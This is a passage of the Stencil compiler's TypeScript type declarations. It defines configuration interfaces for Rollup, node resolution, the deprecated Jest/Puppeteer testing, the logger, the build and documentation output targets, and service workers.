`namedExports` field is no longer honored by `@rollup/plugin-commonjs` and is not used by Stencil.\n   * This field can be safely removed from your Stencil configuration file.\n   */\n  namedExports?: {\n    [key: string]: string[];\n  };\n}\n\nexport interface NodeResolveConfig {\n  exportConditions?: string[];\n  browser?: boolean;\n  moduleDirectories?: string[];\n  modulePaths?: string[];\n  dedupe?: string[] | ((importee: string) => boolean);\n  extensions?: readonly string[];\n  jail?: string;\n  mainFields?: readonly string[];\n  modulesOnly?: boolean;\n  preferBuiltins?: boolean | ((module: string) => boolean);\n  resolveOnly?: ReadonlyArray<string | RegExp> | null | ((module: string) => boolean);\n  rootDir?: string;\n  allowExportsFolderMapping?: boolean;\n\n  // TODO(STENCIL-1107): Remove this field [BREAKING_CHANGE]\n  /**\n   * @see https://github.com/browserify/resolve#resolveid-opts-cb\n   * @deprecated the `customResolveOptions` field is no longer honored in future versions of\n   * `@rollup/plugin-node-resolve`. If you are currently using it, please open a new issue in the Stencil repo to\n   * describe your use case & provide input (https://github.com/stenciljs/core/issues/new/choose)\n   */\n  customResolveOptions?: {\n    basedir?: string;\n    package?: string;\n    extensions?: string[];\n    readFile?: Function;\n    isFile?: Function;\n    isDirectory?: Function;\n    packageFilter?: Function;\n    pathFilter?: Function;\n    paths?: Function | string[];\n    moduleDirectory?: string | string[];\n    preserveSymlinks?: boolean;\n  };\n}\n\nexport interface RollupConfig {\n  inputOptions?: RollupInputOptions;\n  outputOptions?: RollupOutputOptions;\n}\n\nexport interface RollupInputOptions {\n  context?: string;\n  moduleContext?: ((id: string) => string) | { [id: string]: string };\n  treeshake?: boolean;\n  maxParallelFileOps?: number;\n  external?:\n    | (string | RegExp)[]\n    | string\n    | RegExp\n    | ((source: string, importer: string | undefined, isResolved: boolean) => boolean | null | undefined);\n}\n\nexport interface RollupOutputOptions {\n  globals?: { [name: string]: string } | ((name: string) => string);\n}\n\n/**\n * @deprecated Integrated testing support will be removed in Stencil v5. Migrate spec tests to\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) and e2e / browser tests to either\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) or\n * [`@stencil/playwright`](https://github.com/stenciljs/playwright).\n * See https://github.com/stenciljs/core/issues/6584 for full discussion and migration guidance.\n */\nexport interface Testing {\n  run(opts: TestingRunOptions): Promise<boolean>;\n  destroy(): Promise<void>;\n}\n\nexport declare type Path = string;\nexport declare type TransformerConfig = [string, Record<string, unknown>];\n\n/**\n * Options for initiating a run of Stencil tests (spec and/or end-to-end)\n *\n * @deprecated Integrated testing support will be removed in Stencil v5. Migrate spec tests to\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) and e2e / browser tests to either\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) or\n * [`@stencil/playwright`](https://github.com/stenciljs/playwright).\n * See https://github.com/stenciljs/core/issues/6584 for full discussion and migration guidance.\n */\nexport interface TestingRunOptions {\n  /**\n   * If true, run end-to-end tests\n   */\n  e2e?: boolean;\n  /**\n   * If true, run screenshot tests\n   */\n  screenshot?: boolean;\n  /**\n   * If true, run spec tests\n   */\n  spec?: boolean;\n  /**\n   * If true, update 'golden' screenshots. Otherwise, compare against priori.\n   */\n  updateScreenshot?: boolean;\n}\n\n/**\n * @deprecated Integrated testing support will be removed in Stencil v5. Migrate spec tests to\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) and e2e / browser tests to either\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) or\n * [`@stencil/playwright`](https://github.com/stenciljs/playwright).\n * See https://github.com/stenciljs/core/issues/6584 for full discussion and migration guidance.\n */\nexport interface JestConfig {\n  /**\n   * This option tells Jest that all imported modules in your tests should be mocked automatically.\n   * All modules used in your tests will have a replacement implementation, keeping the API surface. Default: false\n   */\n  automock?: boolean;\n\n  /**\n   * By default, Jest runs all tests and produces all errors into the console upon completion.\n   * The bail config option can be used here to have Jest stop running tests after the first failure. Default: false\n   */\n  bail?: boolean | number;\n\n  /**\n   * The directory where Jest should store its cached dependency information. Jest attempts to scan your dependency tree once (up-front)\n   * and cache it in order to ease some of the filesystem raking that needs to happen while running tests. This config option lets you\n   * customize where Jest stores that cache data on disk. Default: \"/tmp/<path>\"\n   */\n  cacheDirectory?: string;\n\n  /**\n   * Automatically clear mock calls and instances between every test. Equivalent to calling jest.clearAllMocks()\n   * between each test. This does not remove any mock implementation that may have been provided. Default: false\n   */\n  clearMocks?: boolean;\n\n  /**\n   * Indicates whether the coverage information should be collected while executing the test. Because this retrofits all\n   * executed files with coverage collection statements, it may significantly slow down your tests. Default: false\n   */\n  collectCoverage?: boolean;\n\n  /**\n   * An array of glob patterns indicating a set of files for which coverage information should be collected.\n   * If a file matches the specified glob pattern, coverage information will be collected for it even if no tests exist\n   * for this file and it's never required in the test suite. Default: undefined\n   */\n  collectCoverageFrom?: any[];\n\n  /**\n   * The directory where Jest should output its coverage files. Default: undefined\n   */\n  coverageDirectory?: string;\n\n  /**\n   * An array of regexp pattern strings that are matched against all file paths before executing the test. If the file path matches\n   * any of the patterns, coverage information will be skipped. These pattern strings match against the full path.\n   * Use the <rootDir> string token to include the path to your project's root directory to prevent it from accidentally\n   * ignoring all of your files in different environments that may have different root directories.\n   * Example: [\"<rootDir>/build/\", \"<rootDir>/node_modules/\"]. Default: [\"/node_modules/\"]\n   */\n  coveragePathIgnorePatterns?: any[];\n\n  /**\n   * A list of reporter names that Jest uses when writing coverage reports. Any istanbul reporter can be used.\n   * Default: `[\"json\", \"lcov\", \"text\"]`\n   */\n  coverageReporters?: any[];\n\n  /**\n   * This will be used to configure minimum threshold enforcement for coverage results. Thresholds can be specified as global,\n   * as a glob, and as a directory or file path. If thresholds aren't met, jest will fail. Thresholds specified as a positive\n   * number are taken to be the minimum percentage required. Thresholds specified as a negative number represent the maximum\n   * number of uncovered entities allowed. Default: undefined\n   */\n  coverageThreshold?: any;\n\n  errorOnDeprecated?: boolean;\n  forceCoverageMatch?: any[];\n  globals?: any;\n  globalSetup?: string;\n  globalTeardown?: string;\n\n  /**\n   * An array of directory names to be searched recursively up from the requiring module's location. Setting this option will\n   * override the default, if you wish to still search node_modules for packages include it along with any other\n   * options: [\"node_modules\", \"bower_components\"]. Default: [\"node_modules\"]\n   */\n  moduleDirectories?: string[];\n\n  /**\n   * An array of file extensions your modules use. If you require modules without specifying a file extension,\n   * these are the extensions Jest will look for. Default: ['ts', 'tsx', 'js', 'json']\n   */\n  moduleFileExtensions?: string[];\n\n  moduleNameMapper?: any;\n  modulePaths?: any[];\n  modulePathIgnorePatterns?: any[];\n  notify?: boolean;\n  notifyMode?: string;\n  preset?: string;\n  prettierPath?: string;\n  projects?: any;\n  reporters?: any;\n  resetMocks?: boolean;\n  resetModules?: boolean;\n  resolver?: Path | null;\n  restoreMocks?: boolean;\n  rootDir?: string;\n  roots?: any[];\n  runner?: string;\n\n  /**\n   * The paths to modules that run some code to configure or set up the testing environment before each test.\n   * Since every test runs in its own environment, these scripts will be executed in the testing environment\n   * immediately before executing the test code itself. Default: []\n   */\n  setupFiles?: string[];\n\n  setupFilesAfterEnv?: string[];\n\n  snapshotSerializers?: any[];\n  testEnvironment?: string;\n  testEnvironmentOptions?: any;\n  testMatch?: string[];\n  testPathIgnorePatterns?: string[];\n  testPreset?: string;\n  testRegex?: string[];\n  testResultsProcessor?: string;\n  testRunner?: string;\n  testURL?: string;\n  timers?: string;\n  transform?: {\n    [regex: string]: Path | TransformerConfig;\n  };\n  transformIgnorePatterns?: any[];\n  unmockedModulePathPatterns?: any[];\n  verbose?: boolean;\n  watchPathIgnorePatterns?: any[];\n}\n\n/**\n * Configuration for Stencil's integrated testing (Jest + Puppeteer).\n *\n * @deprecated Integrated testing support will be removed in Stencil v5. Migrate spec tests to\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) and e2e / browser tests to either\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) or\n * [`@stencil/playwright`](https://github.com/stenciljs/playwright).\n * See https://github.com/stenciljs/core/issues/6584 for full discussion and migration guidance.\n */\nexport interface TestingConfig extends JestConfig {\n  /**\n   * The `allowableMismatchedPixels` value is used to determine an acceptable\n   * number of pixels that can be mismatched before the image is considered\n   * to have changes. Realistically, two screenshots representing the same\n   * content may have a small number of pixels that are not identical due to\n   * anti-aliasing, which is perfectly normal. If the `allowableMismatchedRatio`\n   * is provided it will take precedence, otherwise `allowableMismatchedPixels`\n   * will be used.\n   */\n  allowableMismatchedPixels?: number;\n\n  /**\n   * The `allowableMismatchedRatio` ranges from `0` to `1` and is used to\n   * determine an acceptable ratio of pixels that can be mismatched before\n   * the image is considered to have changes. Realistically, two screenshots\n   * representing the same content may have a small number of pixels that\n   * are not identical due to anti-aliasing, which is perfectly normal. The\n   * `allowableMismatchedRatio` is the number of pixels that were mismatched,\n   * divided by the total number of pixels in the screenshot. For example,\n   * a ratio value of `0.06` means 6% of the pixels can be mismatched before\n   * the image is considered to have changes. If the `allowableMismatchedRatio`\n   * is provided it will take precedence, otherwise `allowableMismatchedPixels`\n   * will be used.\n   */\n  allowableMismatchedRatio?: number;\n\n  /**\n   * Matching threshold while comparing two screenshots. Value ranges from `0` to `1`.\n   * Smaller values make the comparison more sensitive. The `pixelmatchThreshold`\n   * value helps to ignore anti-aliasing. Default: `0.1`\n   */\n  pixelmatchThreshold?: number;\n\n  /**\n   * Additional arguments to pass to the browser instance.\n   */\n  browserArgs?: string[];\n\n  /**\n   * Path to a Chromium or Chrome executable to run instead of the bundled Chromium.\n   * @default env.PUPPETEER_EXECUTABLE_PATH || env.CHROME_PATH || puppeteer.computeExecutablePath()\n   */\n  browserExecutablePath?: string;\n\n  /**\n   * Url of remote Chrome instance to use instead of local Chrome.\n   */\n  browserWSEndpoint?: string;\n\n  /**\n   * The browser channel to use for e2e tests (stable, beta, dev or canary).\n   * @default 'chrome'\n   */\n  browserChannel?: 'chrome' | 'chrome-beta' | 'chrome-dev' | 'chrome-canary';\n\n  /**\n   * Whether to run browser e2e tests in headless mode using Chrome Headless Shell\n   * @ref https://developer.chrome.com/blog/chrome-headless-shell\n   * @default shell\n   */\n  browserHeadless?: boolean | 'shell';\n\n  /**\n   * Slows down e2e browser operations by the specified amount of milliseconds.\n   * Useful so that you can see what is going on.\n   */\n  browserSlowMo?: number;\n\n  /**\n   * By default, all E2E pages wait until the \"load\" event, this global setting can be used\n   * to change the default `waitUntil` behavior.\n   */\n  browserWaitUntil?: 'load' | 'domcontentloaded' | 'networkidle0' | 'networkidle2';\n\n  /**\n   * Whether to auto-open a DevTools panel for each tab.\n   * If this option is true, the headless option will be set false\n   */\n  browserDevtools?: boolean;\n\n  /**\n   * Array of browser emulations to be used during _screenshot_ tests. A full screenshot\n   * test is ran for each emulation.\n   *\n   * To emulate a device display for your e2e tests, use the `setViewport` method on a test's E2E page.\n   * An example can be found in [the Stencil docs](https://stenciljs.com/docs/end-to-end-testing#emulate-a-display).\n   */\n  emulate?: EmulateConfig[];\n\n  /**\n   * Path to the Screenshot Connector module.\n   */\n  screenshotConnector?: string;\n\n  /**\n   * Timeout for the pixelmatch worker to resolve (in ms).\n   * @default 2500\n   */\n  screenshotTimeout?: number | null;\n\n  /**\n   * Amount of time in milliseconds to wait before a screenshot is taken.\n   */\n  waitBeforeScreenshot?: number;\n}\n\n/**\n * @deprecated Integrated testing support will be removed in Stencil v5. Migrate spec tests to\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) and e2e / browser tests to either\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) or\n * [`@stencil/playwright`](https://github.com/stenciljs/playwright).\n * See https://github.com/stenciljs/core/issues/6584 for full discussion and migration guidance.\n */\nexport interface EmulateConfig {\n  /**\n   * Predefined device descriptor name, such as \"iPhone X\" or \"Nexus 10\".\n   * For a complete list please see: https://github.com/puppeteer/puppeteer/blob/main/src/common/DeviceDescriptors.ts\n   */\n  device?: string;\n\n  /**\n   * User-Agent to be used. Defaults to the user-agent of the installed Puppeteer version.\n   */\n  userAgent?: string;\n\n  viewport?: EmulateViewport;\n}\n\n/**\n * @deprecated Integrated testing support will be removed in Stencil v5. Migrate spec tests to\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) and e2e / browser tests to either\n * [`@stencil/vitest`](https://github.com/stenciljs/vitest) or\n * [`@stencil/playwright`](https://github.com/stenciljs/playwright).\n * See https://github.com/stenciljs/core/issues/6584 for full discussion and migration guidance.\n */\nexport interface EmulateViewport {\n  /**\n   * Page width in pixels.\n   */\n  width: number;\n\n  /**\n   * page height in pixels.\n   */\n  height: number;\n\n  /**\n   * Specify device scale factor (can be thought of as dpr). Defaults to 1.\n   */\n  deviceScaleFactor?: number;\n\n  /**\n   * Whether the meta viewport tag is taken into account. Defaults to false.\n   */\n  isMobile?: boolean;\n\n  /**\n   * Specifies if viewport supports touch events. Defaults to false\n   */\n  hasTouch?: boolean;\n\n  /**\n   * Specifies if viewport is in landscape mode. Defaults to false.\n   */\n  isLandscape?: boolean;\n}\n\n/**\n * This sets the log level hierarchy for our terminal logger, ranging from\n * most to least verbose.\n *\n * Ordering the levels like this lets us easily check whether we should log a\n * message at a given time. For instance, if the log level is set to `'warn'`,\n * then anything passed to the logger with level `'warn'` or `'error'` should\n * be logged, but we should _not_ log anything with level `'info'` or `'debug'`.\n *\n * If we have a current log level `currentLevel` and a message with level\n * `msgLevel` is passed to the logger, we can determine whether or not we should\n * log it by checking if the log level on the message is further up or at the\n * same level in the hierarchy than `currentLevel`, like so:\n *\n * ```ts\n * LOG_LEVELS.indexOf(msgLevel) >= LOG_LEVELS.indexOf(currentLevel)\n * ```\n *\n * NOTE: for the reasons described above, do not change the order of the entries\n * in this array without good reason!\n */\nexport const LOG_LEVELS = ['debug', 'info', 'warn', 'error'] as const;\n\nexport type LogLevel = (typeof LOG_LEVELS)[number];\n\n/**\n * Abstract interface representing a logger with the capability to accept log\n * messages at various levels (debug, info, warn, and error), set colors, log\n * time spans, print diagnostic messages, and more.\n *\n * A Node.js-specific implementation of this interface is used when Stencil is\n * building and compiling a project.\n */\nexport interface Logger {\n  enableColors: (useColors: boolean) => void;\n  setLevel: (level: LogLevel) => void;\n  getLevel: () => LogLevel;\n  debug: (...msg: any[]) => void;\n  info: (...msg: any[]) => void;\n  warn: (...msg: any[]) => void;\n  error: (...msg: any[]) => void;\n  createTimeSpan: (startMsg: string, debug?: boolean, appendTo?: string[]) => LoggerTimeSpan;\n  printDiagnostics: (diagnostics: Diagnostic[], cwd?: string) => void;\n  red: (msg: string) => string;\n  green: (msg: string) => string;\n  yellow: (msg: string) => string;\n  blue: (msg: string) => string;\n  magenta: (msg: string) => string;\n  cyan: (msg: string) => string;\n  gray: (msg: string) => string;\n  bold: (msg: string) => string;\n  dim: (msg: string) => string;\n  bgRed: (msg: string) => string;\n  emoji: (e: string) => string;\n  setLogFilePath?: (p: string) => void;\n  writeLogs?: (append: boolean) => void;\n  createLineUpdater?: () => Promise<LoggerLineUpdater>;\n}\n\nexport interface LoggerLineUpdater {\n  update(text: string): Promise<void>;\n  stop(): Promise<void>;\n}\n\nexport interface LoggerTimeSpan {\n  duration(): number;\n  finish(finishedMsg: string, color?: string, bold?: boolean, newLineSuffix?: boolean): number;\n}\n\nexport interface OutputTargetDist extends OutputTargetValidationConfig {\n  type: 'dist';\n\n  buildDir?: string;\n\n  collectionDir?: string | null;\n  /**\n   * When `true` this flag will transform aliased import paths defined in\n   * a project's `tsconfig.json` to relative import paths in the compiled output's\n   * `dist-collection` bundle if it is generated (i.e. `collectionDir` is set).\n   *\n   * Paths will be left in aliased format if `false`.\n   *\n   * @example\n   * // tsconfig.json\n   * {\n   *   paths: {\n   *     \"@utils/*\": ['/src/utils/*']\n   *   }\n   * }\n   *\n   * // Source file\n   * import * as dateUtils from '@utils/date-utils';\n   * // Output file\n   * import * as dateUtils from '../utils/date-utils';\n   */\n  transformAliasedImportPathsInCollection?: boolean | null;\n\n  typesDir?: string;\n\n  /**\n   * Provide a custom path for the ESM loader directory, containing files you can import\n   * in an initiation script within your application to register all your components for\n   * lazy loading.\n   *\n   * @default /dist/loader\n   */\n  esmLoaderPath?: string;\n  copy?: CopyTask[];\n  polyfills?: boolean;\n\n  empty?: boolean;\n}\n\nexport interface OutputTargetDistCollection extends OutputTargetValidationConfig {\n  type: 'dist-collection';\n  empty?: boolean;\n  dir: string;\n  collectionDir: string;\n  /**\n   * When `true` this flag will transform aliased import paths defined in\n   * a project's `tsconfig.json` to relative import paths in the compiled output.\n   *\n   * Paths will be left in aliased format if `false` or `undefined`.\n   *\n   * @example\n   * // tsconfig.json\n   * {\n   *   paths: {\n   *     \"@utils/*\": ['/src/utils/*']\n   *   }\n   * }\n   *\n   * // Source file\n   * import * as dateUtils from '@utils/date-utils';\n   * // Output file\n   * import * as dateUtils from '../utils/date-utils';\n   */\n  transformAliasedImportPaths?: boolean | null;\n}\n\nexport interface OutputTargetDistTypes extends OutputTargetValidationConfig {\n  type: 'dist-types';\n  dir: string;\n  typesDir: string;\n}\n\nexport interface OutputTargetDistLazy extends OutputTargetBase {\n  type: 'dist-lazy';\n\n  dir?: string;\n  esmDir?: string;\n  esmEs5Dir?: string;\n  systemDir?: string;\n  cjsDir?: string;\n  polyfills?: boolean;\n  isBrowserBuild?: boolean;\n\n  esmIndexFile?: string;\n  cjsIndexFile?: string;\n  systemLoaderFile?: string;\n  legacyLoaderFile?: string;\n  empty?: boolean;\n}\n\nexport interface OutputTargetDistGlobalStyles extends OutputTargetBase {\n  type: 'dist-global-styles';\n  file: string;\n}\n\nexport interface OutputTargetDistLazyLoader extends OutputTargetBase {\n  type: 'dist-lazy-loader';\n  dir: string;\n\n  esmDir: string;\n  esmEs5Dir?: string;\n  cjsDir: string;\n  componentDts: string;\n\n  empty: boolean;\n}\n\nexport interface OutputTargetHydrate extends OutputTargetBase {\n  type: 'dist-hydrate-script';\n  dir?: string;\n  /**\n   * Whether to generate a package.json file in the hydrate output directory.\n   * Defaults to `true`\n   * @deprecated\n   * In the next major release, the `package.json` file will be completely removed from the `dist-hydrate-script` output (use `exports` from your library's main `package.json`)\n   */\n  generatePackageJson?: boolean;\n  /**\n   * Module IDs that should not be bundled into the script.\n   * By default, all node builtin's, such as `fs` or `path`\n   * will be considered \"external\" and not bundled.\n   */\n  external?: string[];\n  empty?: boolean;\n  minify?: boolean;\n}\n\nexport interface OutputTargetCustom extends OutputTargetBase {\n  type: 'custom';\n  name: string;\n  /**\n   * Indicate when the output target should be executed.\n   *\n   * - `\"onBuildOnly\"`: Executed only when `stencil build` is called without `--watch`.\n   * - `\"always\"`: Executed on every build, including in `watch` mode.\n   *\n   * Defaults to \"always\".\n   */\n  taskShouldRun?: 'onBuildOnly' | 'always';\n  validate?: (config: Config, diagnostics: Diagnostic[]) => void;\n  generator: (config: Config, compilerCtx: CompilerCtx, buildCtx: BuildCtx, docs: JsonDocs) => Promise<void>;\n  copy?: CopyTask[];\n}\n\n/**\n * Output target for generating [custom data](https://github.com/microsoft/vscode-custom-data) for VS Code as a JSON\n * file.\n */\nexport interface OutputTargetDocsVscode extends OutputTargetBase {\n  /**\n   * Designates this output target to be used for generating VS Code custom data.\n   * @see OutputTargetBase#type\n   */\n  type: 'docs-vscode';\n  /**\n   * The location on disk to write the JSON file.\n   */\n  file: string;\n  /**\n   * A base URL to find the source code of the component(s) described in the JSON file.\n   */\n  sourceCodeBaseUrl?: string;\n}\n\nexport interface OutputTargetDocsReadme extends OutputTargetBase {\n  type: 'docs-readme';\n  /**\n   * The root directory where README files should be written\n   *\n   * defaults to {@link Config.srcDir}\n   */\n  dir?: string;\n  dependencies?: boolean;\n  /**\n   * Controls how READMEs are written to the destination directory.\n   *\n   * - `true`: Always overwrite the destination README with the full content.\n   * - `false` (default): Only update the autogenerated content, preserving existing custom content above it.\n   * - `'if-missing'`: Write the full README only if no file exists at the destination.\n   *\n   * This option enables workflows requiring consistent, idempotent output across builds,\n   * and supports setups where custom documentation may need to coexist or vary between environments.\n   */\n  overwriteExisting?: boolean | 'if-missing';\n  footer?: string;\n  strict?: boolean;\n}\n\nexport interface OutputTargetDocsJson extends OutputTargetBase {\n  type: 'docs-json';\n\n  file: string;\n  /**\n   * Set an optional file path where Stencil should write a `d.ts` file to disk\n   * at build-time containing type declarations for {@link JsonDocs} and related\n   * interfaces. If this is omitted or set to `null` Stencil will not write such\n   * a file.\n   */\n  typesFile?: string | null;\n  strict?: boolean;\n  /**\n   * An optional file path pointing to a public type library which should be\n   * included and documented in the same way as other types which are included\n   * in this output target.\n   *\n   * This could be useful if, for instance, there are some important interfaces\n   * used in a few places in a Stencil project which don't form part of the\n   * public API for any of the project's components. Such interfaces will not\n   * be included in the `docs-json` output by default, but if they're declared\n   * and exported from a 'supplemental' file designated with this property then\n   * they'll be included in the output, facilitating their documentation.\n   */\n  supplementalPublicTypes?: string;\n}\n\nexport interface OutputTargetDocsCustomElementsManifest extends OutputTargetBase {\n  type: 'docs-custom-elements-manifest';\n\n  /**\n   * The file path where the custom-elements.json manifest will be written.\n   * Defaults to 'custom-elements.json' in the root directory.\n   */\n  file: string;\n  strict?: boolean;\n}\n\nexport interface OutputTargetDocsCustom extends OutputTargetBase {\n  type: 'docs-custom';\n\n  generator: (docs: JsonDocs, config: Config) => void | Promise<void>;\n  strict?: boolean;\n}\n\nexport interface OutputTargetStats extends OutputTargetBase {\n  type: 'stats';\n\n  file?: string;\n}\n\nexport interface OutputTargetBaseNext {\n  type: string;\n  dir?: string;\n}\n\n/**\n * The collection of valid export behaviors.\n * Used to generate a type for typed configs as well as output target validation\n * for the `dist-custom-elements` output target.\n *\n * Adding a value to this const array will automatically add it as a valid option on the\n * output target configuration for `customElementsExportBehavior`.\n *\n * - `default`: No additional export or definition behavior will happen.\n * - `auto-define-custom-elements`: Enables the auto-definition of a component and its children (recursively) in the custom elements registry. This\n * functionality allows consumers to bypass the explicit call to define a component, its children, its children's\n * children, etc. Users of this flag should be aware that enabling this functionality may increase bundle size.\n * - `bundle`: A `defineCustomElements` function will be exported from the distribution directory. This behavior was added to allow easy migration\n * from `dist-custom-elements-bundle` to `dist-custom-elements`.\n * - `single-export-module`: All components will be re-exported from the specified directory's root `index.js` file.\n */\nexport const CustomElementsExportBehaviorOptions = [\n  'default',\n  'auto-define-custom-elements',\n  'bundle',\n  'single-export-module',\n] as const;\n\n/**\n * This type is auto-generated based on the values in `CustomElementsExportBehaviorOptions` array.\n * This is used on the output target config for intellisense in typed configs.\n */\nexport type CustomElementsExportBehavior = (typeof CustomElementsExportBehaviorOptions)[number];\n\nexport interface OutputTargetDistCustomElements extends OutputTargetValidationConfig {\n  type: 'dist-custom-elements';\n  empty?: boolean;\n  /**\n   * Triggers the following behaviors when enabled:\n   * 1. All `@stencil/core/*` module references are treated as external during bundling.\n   * 2. File names are not hashed.\n   * 3. File minification will follow the behavior defined at the root of the Stencil config.\n   */\n  externalRuntime?: boolean;\n  copy?: CopyTask[];\n  includeGlobalScripts?: boolean;\n  minify?: boolean;\n  /**\n   * Enables the generation of type definition files for the output target.\n   */\n  generateTypeDeclarations?: boolean;\n  /**\n   * Define the export/definition behavior for the output target's generated output.\n   * This controls if/how custom elements will be defined or where components will be exported from.\n   * If omitted, no auto-definition behavior or re-exporting will happen.\n   */\n  customElementsExportBehavior?: CustomElementsExportBehavior;\n  /**\n   * Generate an auto-loader script that uses MutationObserver to lazily load\n   * and define custom elements as they appear in the DOM.\n   *\n   * When set to `true`, generates a `loader.js` file that auto-starts on import.\n   * Can also be configured with an object for more control:\n   * - `fileName`: Custom filename for the loader (default: 'loader.js')\n   * - `autoStart`: Whether to auto-start the loader on import (default: true)\n   *\n   * @example\n   * ```typescript\n   * // Simple usage\n   * autoLoader: true\n   *\n   * // With options\n   * autoLoader: {\n   *   fileName: 'my-loader.js',\n   *   autoStart: false\n   * }\n   * ```\n   */\n  autoLoader?:\n    | boolean\n    | {\n        /**\n         * Custom filename for the generated loader script.\n         * @default 'loader.js'\n         */\n        fileName?: string;\n        /**\n         * Whether to automatically start the loader when the script is imported.\n         * If false, you must call `start()` manually.\n         * @default true\n         */\n        autoStart?: boolean;\n      };\n}\n\n/**\n * The base type for output targets. All output targets should extend this base type.\n */\nexport interface OutputTargetBase {\n  /**\n   * A unique string to differentiate one output target from another\n   */\n  type: string;\n}\n\n/**\n * Output targets that can have validation for common `package.json` field values\n * (module, types, etc.). This allows them to be marked for validation in a project's Stencil config.\n */\ninterface OutputTargetValidationConfig extends OutputTargetBaseNext {\n  isPrimaryPackageOutputTarget?: boolean;\n}\n\nexport type EligiblePrimaryPackageOutputTarget =\n  | OutputTargetDist\n  | OutputTargetDistCustomElements\n  | OutputTargetDistCollection\n  | OutputTargetDistTypes;\n\nexport type OutputTargetBuild = OutputTargetDistCollection | OutputTargetDistLazy;\n\nexport interface OutputTargetCopy extends OutputTargetBase {\n  type: 'copy';\n\n  dir: string;\n  copy?: CopyTask[];\n  copyAssets?: 'collection' | 'dist';\n}\n\nexport interface OutputTargetWww extends OutputTargetBase {\n  /**\n   * Webapp output target.\n   */\n  type: 'www';\n\n  /**\n   * The directory to write the app's JavaScript and CSS build\n   * files to. The default is to place this directory as a child\n   * to the `dir` config. Default: `build`\n   */\n  buildDir?: string;\n\n  /**\n   * The directory to write the entire application to.\n   * Note, the `buildDir` is where the app's JavaScript and CSS build\n   * files are written. Default: `www`\n   */\n  dir?: string;\n\n  /**\n   * Empty the build directory of all files and directories on first build.\n   * Default: `true`\n   */\n  empty?: boolean;\n\n  /**\n   * The default index html file of the app, commonly found at the\n   * root of the `src` directory.\n   * Default: `index.html`\n   */\n  indexHtml?: string;\n\n  /**\n   * The copy config is an array of objects that defines any files or folders that should\n   * be copied over to the build directory.\n   *\n   * Each object in the array must include a src property which can be either an absolute path,\n   * a relative path or a glob pattern. The config can also provide an optional dest property\n   * which can be either an absolute path or a path relative to the build directory.\n   * Also note that any files within src/assets are automatically copied to www/assets for convenience.\n   *\n   * In the copy config below, it will copy the entire directory from src/docs-content over to www/docs-content.\n   */\n  copy?: CopyTask[];\n\n  /**\n   * The base url of the app, it's required during prerendering to be the absolute path\n   * of your app, such as: `https://my.app.com/app`.\n   *\n   * Default: `/`\n   */\n  baseUrl?: string;\n\n  /**\n   * By default, stencil will include all the polyfills required by legacy browsers in the ES5 build.\n   * If it's `false`, stencil will not emit this polyfills anymore and it's your responsibility to provide them before\n   * stencil initializes.\n   */\n  polyfills?: boolean;\n\n  /**\n   * Path to an external node module which has exports of the prerender config object.\n   * ```\n   * module.exports = {\n   *   afterHydrate(document, url) {\n   *     document.title = `URL: ${url.href}`;\n   *   }\n   * }\n   * ```\n   */\n  prerenderConfig?: string;\n\n  /**\n   * Service worker config for production builds. During development builds\n   * service worker script will be injected to automatically deregister existing\n   * service workers. When set to `false` neither a service worker registration\n   * or deregistration will be added to the index.html.\n   */\n  serviceWorker?: ServiceWorkerConfig | null | false;\n  appDir?: string;\n}\n\nexport type OutputTarget =\n  | OutputTargetCopy\n  | OutputTargetCustom\n  | OutputTargetDist\n  | OutputTargetDistCollection\n  | OutputTargetDistCustomElements\n  | OutputTargetDistLazy\n  | OutputTargetDistGlobalStyles\n  | OutputTargetDistLazyLoader\n  | OutputTargetDocsJson\n  | OutputTargetDocsCustom\n  | OutputTargetDocsReadme\n  | OutputTargetDocsVscode\n  | OutputTargetDocsCustomElementsManifest\n  | OutputTargetWww\n  | OutputTargetHydrate\n  | OutputTargetStats\n  | OutputTargetDistTypes;\n\n/**\n * Our custom configuration interface for generated caching Service Workers\n * using the Workbox library (see https://developer.chrome.com/docs/workbox/).\n *\n * Although we are using Workbox we are unfortunately unable to depend on the\n * published types for the library because they must be compiled using the\n * `webworker` lib for TypeScript, which cannot be used at the same time as\n * the `dom` lib. So as a workaround we maintain our own interface here. See\n * here to refer to the published version:\n * https://github.com/DefinitelyTyped/DefinitelyTyped/blob/c7b4dadae5b320ad1311a8f82242b8f2f41b7b8c/types/workbox-build/generate-sw.d.ts#L3\n */\nexport interface ServiceWorkerConfig {\n  // https://developers.google.com/web/tools/workbox/modules/workbox-build#full_generatesw_config\n  unregister?: boolean;\n\n  swDest?: string;\n  swSrc?: string;\n  globPatterns?: string[];\n  globDirectory?: string | string[];\n  globIgnores?: string | string[];\n  templatedUrls?: any;\n  maximumFileSizeToCacheInBytes?: number;\n  manifestTransforms?: any;\n  modifyUrlPrefix?: any;\n  dontCacheBustURLsMatching?: RegExp;\n  navigateFallback?: string;\n  navigateFallbackWhitelist?: RegExp[];\n  navigateFallbackBlacklist?: RegExp[];\n  cacheId?: string;\n  skipWaiting?: boolean;\n  clientsClaim?: boolean;\n  directoryIndex?: string;\n  runtimeCaching?: any[];\n  ignoreUrlParametersMatching?: any[];\n  handleFetch?: boolean;\n}\n\nexport interface LoadConfigInit {\n  /**\n   * User config object to merge into default config and\n   * config loaded from a file path.\n   */\n  config?: UnvalidatedConfig;\n  /**\n   * Absolute path to a Stencil config file. This path cannot be\n   * relative and it does not resolve config files within a directory.\n   */\n  configPath?: string;\n  logger?: Logger;\n  sys?: CompilerSystem;\n  /**\n   * When set to true, if the \"tsconfig.json\" file is not found\n   * it'll automatically generate and save a default tsconfig\n   * within the root directory.\n   */\n  initTsConfig?: boolean;\n}\n\n/**\n * Results from an attempt to load a config. The values on this interface\n * have not yet been validated and are not ready to be used for arbitrary\n * operations around the codebase.\n */\nexport interface LoadConfigResults {\n  config: ValidatedConfig;\n  diagnostics: Diagnostic[];\n  tsconfig: {\n    path: string;\n    compilerOptions: any;\n    files: string[];\n    include: string[];\n    exclude: string[];\n    extends: string;\n  };\n}\n\nexport interface Diagnostic {\n  absFilePath?: string | undefined;\n  code?: string;\n  columnNumber?: number | undefined;\n  debugText?: 